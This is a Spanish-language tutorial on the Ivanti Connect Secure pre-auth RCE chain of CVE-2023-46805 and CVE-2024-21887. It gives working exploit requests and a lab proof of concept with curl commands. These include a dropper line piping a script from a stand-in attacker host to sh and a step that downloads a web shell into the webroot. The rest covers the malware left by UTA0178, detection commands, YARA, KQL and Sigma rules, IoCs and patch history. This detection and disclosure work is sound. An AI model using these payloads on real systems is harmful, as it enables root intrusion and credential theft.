tutoriales · 11 min de lectura
Ivanti Connect Secure: la chain pre-auth RCE que abrió 2024
CVE-2023-46805 (auth bypass por path traversal) + CVE-2024-21887 (command injection en /api/v1/license/keys-status). Encadenadas, RCE pre-auth como root. Volexity las publica el 10 de enero tras detectar explotación as zero-day por UTA0178 desde diciembre. El parche oficial llega el 31 de enero, tres semanas después.
· Manuel López Pérez · tutoriales

El 10 de enero de 2024 Volexity publica el análisis técnico de dos zero-days encadenados en Ivanti Connect Secure (ICS) y Policy Secure: CVE-2023-46805 (auth bypass por path normalization, CVSS 8.2) + CVE-2024-21887 (command injection en keys-status, CVSS 9.1). Encadenadas: RCE pre-auth como root en cualquier ICS expuesto a internet. La explotación lleva activa desde el 3 de diciembre de 2023.
El mismo 10 de enero ambos CVE entran en el catálogo KEV de CISA. El 19 de enero CISA emite la Emergency Directive 24-01, que obliga a las agencias federales a aplicar mitigación en 48 horas. El parche oficial llega el 31 de enero — tres semanas después de la divulgación, en las que el único remedio efectivo es importar un XML de mitigación que rompe parte de la funcionalidad del appliance.
Volexity atribuye la explotación a UTA0178, un actor China-nexus. Mandiant lo rastrea como UNC5221. Censys cuenta ~1.700 appliances comprometidos en los primeros días tras la divulgación; tras dos semanas, el dataset de detección de Volexity escanea unos 30.000 ICS expuestos a internet.
Lab: chain reproducible con imagen Ivanti vulnerable en VM + payload
curlque pasa el auth bypass por path traversal e inyecta comando en el handler de licencia. Análisis del web shell GIFTEDVISITOR/WIREFIRE que UTA0178 deja para persistencia.
La chain en una frase
Dos bugs, dos endpoints:
- CVE-2023-46805 — el filtro de auth de ICS mira el path crudo de la request, no la versión canonicalizada que usa el router interno. Endpoints que sí requieren auth (
/api/v1/license/keys-status/*) se vuelven accesibles desde uno que no la requiere (/api/v1/totp/user-backup-code/*) con un segmento../encodeado. - CVE-2024-21887 — el handler
license/keys-status/<node_name>pasa<node_name>a una llamadasystem(...)sin escaping. Backticks,;,|,$(...)se interpretan en la shell que invoca.
El caveat “requires authentication” de la segunda CVE desaparece al encadenar con la primera. Forma operativa del payload (URL-encoded ../ para bypassear normalización del filtro pero no del router):
GET /api/v1/totp/user-backup-code/%2e%2e/%2e%2e/license/keys-status/node`id`;# HTTP/1.1
Host: vpn.target.testEl comando ejecutado por el backtick corre como root. Watchtowr documenta la peculiaridad — %2e%2e/ no se decodifica antes del filtro de auth, pero sí antes del router que despacha el handler real.
Por qué importa
Ivanti Connect Secure es el sucesor de Pulse Connect Secure — la VPN que lleva años apareciendo en breaches estatales (APT5 contra Pulse en 2021). Mucho enterprise lo usa como remote access principal. Comprometer un ICS abre tres cosas a la vez: sesiones SSL VPN activas, credenciales del flujo de login, y un punto de pivote a la red interna usando el propio túnel del usuario legítimo.
Dos patrones que aparecen aquí y se repiten todo 2024:
- Appliance edge opaco al cliente. ICS es una caja negra que recibe parches cuando el vendor decide. Cuando el zero-day se hace público, el operador no tiene visibilidad sobre el código que corre.
- Mitigación XML como gap temporal. Ivanti publica
mitigation.release.20240126.5.xmlel 26 de enero. Workaround a base de reglas que rompe funcionalidad (login para algunos usuarios, web admin, etc.). Hasta el 31 de enero, operar el appliance significa elegir entre romper producción o quedar expuesto.
Cómo funciona el auth bypass (CVE-2023-46805)
El frontend web de ICS expone una API REST en /api/v1/*. Algunos endpoints son públicos (parte del flujo de login pre-auth, recovery, etc.) y otros requieren sesión válida. La decisión la toma un filtro que inspecciona el path de la request y consulta una tabla de “rutas que requieren auth”.
El bug está en cómo se compara el path. El filtro mira el prefijo crudo del request, no la ruta canonicalizada. Esto permite path traversal:
/api/v1/totp/user-backup-code/ → permitido sin auth
/api/v1/license/keys-status/ → requiere auth de adminPero:
/api/v1/totp/user-backup-code/../../license/keys-status/<X>El router interno resuelve el path en /api/v1/license/keys-status/<X> y lo despacha al handler correspondiente. El filtro de auth, en cambio, vio el prefijo user-backup-code y dejó pasar la request sin token.
El PoC público de duy-31 muestra varias rutas que se vuelven accesibles con esta primitiva:
/api/v1/totp/user-backup-code/../../configuration/system/configuration
/api/v1/totp/user-backup-code/../../system/active-users
/api/v1/totp/user-backup-code/../../configuration/administrators/admin-realms/realm/Admin%20UsersCada una de esas rutas devuelve datos que normalmente requieren admin. El premio gordo es el endpoint de licencia, que paso a comentar.
Cómo funciona la command injection (CVE-2024-21887)
El handler de /api/v1/license/keys-status/<node_name> recibe node_name como segmento de path y lo pasa a una rutina en backend que lo concatena en una llamada al shell del sistema. Los análisis de Picus Security y la plantilla nuclei pública confirman que el sink es directo: sin parameterización, sin escaping.
Si node_name contiene ; o backticks, el shell interpreta el carácter como separador de comando. Payload mínimo:
GET /api/v1/totp/user-backup-code/../../license/keys-status/;id; HTTP/1.1La salida de id ejecutado como root aparece en la respuesta del endpoint o, en algunas variantes, en un canal lateral del propio handler. Sustituye id por curl http://atacante.test/stage.sh | sh y tienes un dropper en una request.
PoC en lab
Reproducirlo en Docker no es trivial — Ivanti no publica imagen oficial. La opción para CTF/lab autorizado: VM de evaluación que Ivanti distribuye a clientes registrados con versión 22.5R1.1 (vulnerable) en un hypervisor local.
# 1) Sanity del path traversal — pre-auth a un endpoint protegido
curl -sk \
"https://lab-ivanti.local/api/v1/totp/user-backup-code/%2e%2e/%2e%2e/system/system-information" \
-H "Accept: application/json"
# {"version":"22.5R1.1","build":"4234", ...}
# 2) RCE — backtick en el segmento de path
curl -sk \
"https://lab-ivanti.local/api/v1/totp/user-backup-code/%2e%2e/%2e%2e/license/keys-status/node\`id\`;#"
# La salida del comando aparece en el JSON de error o en el log según versión.
# 3) Dropper de web shell CGI en el directorio web servible
PAYLOAD='curl -sL http://10.10.10.13/shell.cgi -o /home/webserver/htdocs/dana-na/auth/x.cgi && chmod +x /home/webserver/htdocs/dana-na/auth/x.cgi'
PAYLOAD_ENC=$(python3 -c "import urllib.parse;print(urllib.parse.quote('node\`$1\`;#'.replace('\$1','''$PAYLOAD''')))")
curl -sk "https://lab-ivanti.local/api/v1/totp/user-backup-code/%2e%2e/%2e%2e/license/keys-status/${PAYLOAD_ENC}"
# 4) Acceso al web shell
curl -sk "https://lab-ivanti.local/dana-na/auth/x.cgi?cmd=whoami"
# rootVariante con nuclei para escaneo en bulk (los templates oficiales CVE-2024-21887.yaml y CVE-2023-46805.yaml están en el repo):
nuclei -t http/cves/2024/CVE-2024-21887.yaml -u https://lab-ivanti.local
# [CVE-2024-21887] [http] [critical] https://lab-ivanti.localCaptura del request final con tcpdump -i any -A 'tcp port 443' desde dentro del appliance (vía la chain) confirma que la primera request ni siquiera dispara entrada en el log de autenticación — para ICS la request “falla” en el handler de licencia, pero el shell ya se ejecutó.
Lo que UTA0178 / UNC5221 dejan en el equipo
Volexity y Mandiant publican IoCs detallados en sus análisis. Las familias de malware observadas in-the-wild en enero 2024:
- GIFTEDVISITOR (Volexity) / WIREFIRE (Mandiant) — el mismo web shell en Python. Inyectado en
/home/perl/PERL/lib/site_perl/CAV/system/visits.py(o en variantes según versión). Añade un endpoint malicioso bajo/api/v1/cav/client/visitsque recibe comandos por POST cifrados con AES + compresión zlib, encapsulados en lo que parece una imagen GIF. - GLASSTOKEN (Volexity) — un .NET web shell para los equipos donde el atacante necesitaba persistencia adicional vía IIS u otro frontend.
- LIGHTWIRE (Mandiant) — web shell en Perl CGI inyectado en
compcheckresult.cgi. Intercepta requests con parámetroscomp=compycompid=<base64-rc4>. El payload se decodifica de Base64, descifra con RC4 y se ejecuta como código Perleval. - THINSPOOL (Mandiant) — el dropper persistente. Antes de escribir LIGHTWIRE en el filesystem (que ICS monta read-only), THINSPOOL hace
mount -o remount,rw /, escribe, y vuelve aremount,ro. Esto le permite sobrevivir a updates del appliance, que re-aplican LIGHTWIRE tras cada reinicio. - WARPWIRE (Mandiant) — credential harvester en JavaScript. Modifica
lastauthserverused.js(parte del flujo de login) paraPOSTear las credenciales en plaintext a un dominio C2 (symantke[.]comen los IoCs originales). - ZIPLINE (Mandiant) — backdoor pasivo. Hookea
accept()enlibsecure.soy se activa cuando una conexión entrante muestra el bannerSSH-2.0-OpenSSH_0.3xx. Da reverse shell, upload/download, proxy y túneles.
Detección rápida sobre un appliance que sospechas comprometido — todo desde la consola del ICS (no en producción sin staging):
# 1. Buscar el directorio /tmp con archivos sospechosos creados después de diciembre 2023
$ find /tmp -newermt "2023-12-01" -type f 2>/dev/null
# 2. Diff de compcheckresult.cgi y visits.py contra una copia limpia de la misma versión
$ md5sum /home/webserver/htdocs/dana-na/auth/compcheckresult.cgi
# 3. Buscar el patrón LIGHTWIRE en el CGI
$ grep -l "comp=comp" /home/webserver/htdocs/dana-na/auth/*.cgi
# 4. Confirmar que el filesystem está realmente en read-only — si no lo está, alguien hizo remount
$ mount | grep " / "La complicación operativa: el Integrity Checker Tool oficial de Ivanti se ha actualizado en varias iteraciones durante enero 2024 porque UTA0178 ajusta el malware para evadirlo. Para detección fiable, los IoCs de Volexity + Mandiant en una herramienta de auditoría externa al appliance dan más confianza que el chequeo nativo.
Detección desde fuera
Si tienes un ICS en tu perímetro y no puedes pararlo, hay tres signals que se pueden monitorizar en NDR/proxy/WAF sin acceso al appliance:
- Path traversal en
/api/v1/totp/user-backup-code/— cualquier request con..en el path bajo ese endpoint es indicador casi seguro. Una regla SIGMA:selection: cs-uri-stem|contains: '/api/v1/totp/user-backup-code/' cs-uri-stem|contains: '..' - POSTs a
/api/v1/cav/client/visitscon payloads binarios — el endpoint legítimo recibe JSON. POSTs conContent-Type: image/gifo cuerpos binarios son GIFTEDVISITOR/WIREFIRE. - Tráfico saliente del ICS hacia dominios no conocidos — un ICS sano solo habla con el servidor de updates de Ivanti, NTP, syslog si está configurado, y los authentication servers internos. Cualquier conexión egress a un dominio externo no esperado es señal.
YARA — detección estática del malware UTA0178
Reglas públicas de Mandiant + Volexity:
rule ivanti_uta0178_lightwire_perl_webshell
{
meta:
cve = "CVE-2024-21887"
ref = "https://cloud.google.com/blog/topics/threat-intelligence/suspected-apt-targets-ivanti-zero-day/"
strings:
$cgi_marker = "compcheckresult.cgi" ascii
$param_comp = "$cgi->param('comp')" ascii
$param_id = "$cgi->param('compid')" ascii
$rc4 = /\beval\s*\(\s*pack\s*\(\s*['"]H\*['"]/ ascii
$b64 = "MIME::Base64" ascii
condition:
2 of them
}
rule ivanti_uta0178_wirefire_python_webshell
{
meta:
cve = "CVE-2024-21887"
ref = "https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/"
strings:
$visit_endpoint = "/api/v1/cav/client/visits" ascii
$aes_cbc = "AES.new" ascii
$zlib = "zlib.decompress" ascii
$gif_header = { 47 49 46 38 39 61 } // "GIF89a"
$exec = "exec(" ascii
condition:
3 of them
}
rule ivanti_uta0178_warpwire_credential_harvester
{
meta:
cve = "CVE-2024-21887"
description = "JavaScript modifications to lastauthserverused.js that exfiltrate plaintext credentials"
strings:
$js_file = "lastauthserverused.js" ascii
$fetch_post = /fetch\s*\(\s*['"]https?:\/\/[^'\"]+['"]\s*,\s*\{\s*method:\s*['"]POST['"]/ ascii
$btoa = "btoa(" ascii
$username = "username" ascii
$password = "password" ascii
condition:
$js_file and $fetch_post and $btoa and ($username or $password)
}KQL — Microsoft Sentinel para detectar el chain en logs WAF
// 1) Path traversal en endpoint pre-auth
AzureDiagnostics
| where ResourceType == "APPLICATIONGATEWAYS" or Category == "ApplicationGatewayFirewallLog"
| where requestUri_s contains "/api/v1/totp/user-backup-code/"
| where requestUri_s contains ".."
| project TimeGenerated, clientIp_s, requestUri_s, ruleSetType_s, action_s
// 2) Request al endpoint inyectable de license/keys-status
| union (
AzureDiagnostics
| where requestUri_s contains "/api/v1/license/keys-status/"
| where requestUri_s matches regex @"[;`|&]" // metacaracteres de shell
| project TimeGenerated, clientIp_s, requestUri_s, ruleSetType_s, action_s
)
// 3) POSTs a /api/v1/cav/client/visits con Content-Type sospechoso
| union (
AzureDiagnostics
| where requestUri_s contains "/api/v1/cav/client/visits"
| where Method == "POST"
| where parse_json(headers_s).["Content-Type"] in ("image/gif", "application/octet-stream")
| project TimeGenerated, clientIp_s, requestUri_s, headers_s
)
| order by TimeGenerated descSigma — chain detection consolidada
title: Ivanti Connect Secure Pre-Auth Chain Exploitation
id: 1e2f3a4b-5c6d-7e8f-9a0b-1c2d3e4f5a6b
status: stable
references:
- https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/
- https://cisa.gov/news-events/directives/ed-24-01
logsource:
product: webserver
detection:
auth_bypass:
cs-uri-stem|contains: '/api/v1/totp/user-backup-code/'
cs-uri-stem|contains: '..'
cmd_injection:
cs-uri-stem|contains: '/api/v1/license/keys-status/'
cs-uri-stem|re: '[;`|&]'
condition: auth_bypass or cmd_injection
level: criticalIoCs consolidados (Volexity AA24-016A + Mandiant)
| Tipo | Indicador |
|---|---|
| C2 dominio | symantke[.]com (WARPWIRE exfil) |
| C2 dominio | gpoaccess[.]com, webb-institute[.]com (Mandiant) |
| User-Agent campaña | Mozilla/4.0 (compatible) con headers escasos |
| File path post-explot | /home/perl/PERL/lib/site_perl/CAV/system/visits.py |
| File path post-explot | /home/webserver/htdocs/dana-na/auth/compcheckresult.cgi (modificado) |
| File path post-explot | /data/runtime/scripts/sessionserver-default.cfg (config tampering) |
| Hash GIFTEDVISITOR (Volexity) | SHA-256 publicado en advisory original |
| Hash LIGHTWIRE (Mandiant) | SHA-256 publicado en Cutting Edge blog |
Mitigación y parche
Cronología corta:
- 10 enero — Volexity publica. Ivanti reconoce. El XML de mitigación (
mitigation.release.20240110.1.xml) está disponible el mismo día, aunque rompe algunas integraciones. - 22 enero — deadline CISA para FCEB: aplicar mitigación o desconectar.
- 26 enero — Ivanti publica
mitigation.release.20240126.5.xml, versión más estable. - 31 enero — primer parche real, para versiones 9.1R14.4, 9.1R17.2, 9.1R18.3, 22.4R2.2 y 22.5R1.1.
- 1 febrero — patch para 22.5R2.2 y Policy Secure 22.5R1.1.
CISA pidió a las agencias que asumieran compromiso si el appliance estuvo expuesto a internet en cualquier momento entre el 1 de diciembre de 2023 y el 22 de enero de 2024 — y que en consecuencia rotaran credenciales del propio appliance, certificados y las credenciales de cualquier identity provider integrado. La rotación pasiva no llega: si UTA0178 hookeó lastauthserverused.js, se llevaron credenciales en plaintext de cada login que pasó por el portal durante el periodo.
La regla operativa para appliances edge en general — y que va a volver más veces en 2024 — es: parchear no termina la respuesta. Termina el incidente solo si la rotación de secretos y la auditoría de la actividad durante la ventana de compromiso van detrás.
Referencias
- Volexity, Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN (10 enero 2024): https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/
- Mandiant / Google Cloud Threat Intelligence, Cutting Edge: Suspected APT Targets Ivanti Connect Secure VPN in New Zero-Day Exploitation: https://cloud.google.com/blog/topics/threat-intelligence/suspected-apt-targets-ivanti-zero-day/
- Mandiant, Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation: https://cloud.google.com/blog/topics/threat-intelligence/investigating-ivanti-zero-day-exploitation/
- CISA Emergency Directive 24-01: https://www.cisa.gov/news-events/directives/ed-24-01-mitigate-ivanti-connect-secure-and-ivanti-policy-secure-vulnerabilities
- Ivanti KB CVE-2023-46805 / CVE-2024-21887: https://forums.ivanti.com/s/article/KB-CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways
- NVD CVE-2023-46805: https://nvd.nist.gov/vuln/detail/CVE-2023-46805
- NVD CVE-2024-21887: https://nvd.nist.gov/vuln/detail/CVE-2024-21887
- Rapid7 análisis técnico: https://www.rapid7.com/blog/post/2024/01/11/etr-zero-day-exploitation-of-ivanti-connect-secure-and-policy-secure-gateways/
- PoC público (Chocapikk): https://github.com/Chocapikk/CVE-2024-21887
- PoC público (duy-31): https://github.com/duy-31/CVE-2023-46805_CVE-2024-21887


